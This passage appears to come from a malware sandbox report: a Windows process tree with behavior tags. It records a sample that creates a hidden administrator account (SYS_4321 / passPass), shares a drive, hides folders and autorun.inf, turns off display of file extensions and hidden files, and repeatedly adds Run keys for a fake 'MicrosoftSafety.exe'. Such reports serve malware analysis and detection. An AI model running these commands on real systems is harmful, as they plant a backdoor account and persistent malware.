- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net share SYS_F$=F:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:548
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2396
  - - C:\Windows\SysWOW64\net.exe
      net share SYS_F$=F:\
      4⤵
      PID:5148
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 share SYS_F$=F:\
        5⤵
        
        PID:5272
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H F:\C0MM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3972
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3268
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H F:\C0MM
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:5596
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H F:\C0MM\C0MM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2600
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1712
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H F:\C0MM\C0MM
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:5548
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib -r -a F:\autorun.inf
    3⤵
    PID:2036
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4948
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -r -a F:\autorun.inf
      4⤵
      Views/modifies file attributes
      PID:5512
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +h +r F:\autorun.inf
    3⤵
    PID:664
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:404
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h +r F:\autorun.inf
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4396
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net users /add SYS_4321 passPass
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1700
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:464
  - - C:\Windows\SysWOW64\net.exe
      net users /add SYS_4321 passPass
      4⤵
      PID:5132
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 users /add SYS_4321 passPass
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5336
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net users SYS_4321 passPass
    3⤵
    PID:3584
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4984
  - - C:\Windows\SysWOW64\net.exe
      net users SYS_4321 passPass
      4⤵
      PID:5196
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 users SYS_4321 passPass
        5⤵
        
        PID:5388
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v SYS_4321 /t REG_DWORD /d 0 /f
    3⤵
    PID:4092
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4716
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v SYS_4321 /t REG_DWORD /d 0 /f
      4⤵
      Hide Artifacts: Hidden Users
      System Location Discovery: System Language Discovery
      PID:5556
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net localgroup administrators /add SYS_4321
    3⤵
    PID:1924
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2324
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators /add SYS_4321
      4⤵
      System Location Discovery: System Language Discovery
      PID:5492
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators /add SYS_4321
        5⤵
        
        PID:5648
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CLASSES_ROOT\Network\SharingHandler" /v "" /t REG_SZ /d "" /f
    3⤵
    PID:1492
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4328
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CLASSES_ROOT\Network\SharingHandler" /v "" /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:5184
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1832
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5092
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:5520
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:4168
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2076
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:5252
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d " %homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:3412
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3340
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d " C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:5564
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf" /f
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3504
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4636
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf" /f
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      PID:5176
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v shutdownwithoutlogon /d 0 /t REG_DWORD /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:640
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2264
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v shutdownwithoutlogon /d 0 /t REG_DWORD /f
      4⤵
      PID:5208
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:1484
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:1632
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:3508
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:5560
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3756
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2668
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5112
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:5592
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:5720
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:2116
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:5732
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:396
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1224
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1268
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1888
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:5388
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5956
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:2860
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5972
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:4224
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:2368
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2100
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1972
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:1316
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3500
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:2724
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3548
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      System Location Discovery: System Language Discovery
      PID:1424
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:324
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:4508
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:1140
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:4776
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:4672
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:2060
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:6128
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:3236
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:988
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:5252
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6120
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1552
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:5152
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:2168
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:5480
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:1484
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:1876
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:4524
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5588
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:1020
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:5764
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:2116
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4940
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:5672
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:5660
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2088
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5596
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:5392
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:5500
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:4856
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:5340
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:2868
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:5416
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:408
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:5748
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:5920
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:5728
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:1408
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4012
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:5988
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:1036
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1972
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:4552
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:1192
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3684
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:4848
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:6016
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      System Location Discovery: System Language Discovery
      PID:5328
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:2628
  - - C:\Windows\SysWOW64\reg.exe
